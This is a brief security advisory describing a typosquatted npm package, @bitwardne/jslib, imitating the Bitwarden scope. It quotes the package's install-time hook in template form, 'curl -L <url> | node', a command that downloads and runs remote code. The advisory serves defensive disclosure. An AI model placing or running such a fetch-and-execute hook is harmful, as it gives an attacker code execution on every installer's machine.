MAL-2026-17694 Malicious code in @bitwardne/jslib (npm)

Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form curl -L <url> | node, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at npm install time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.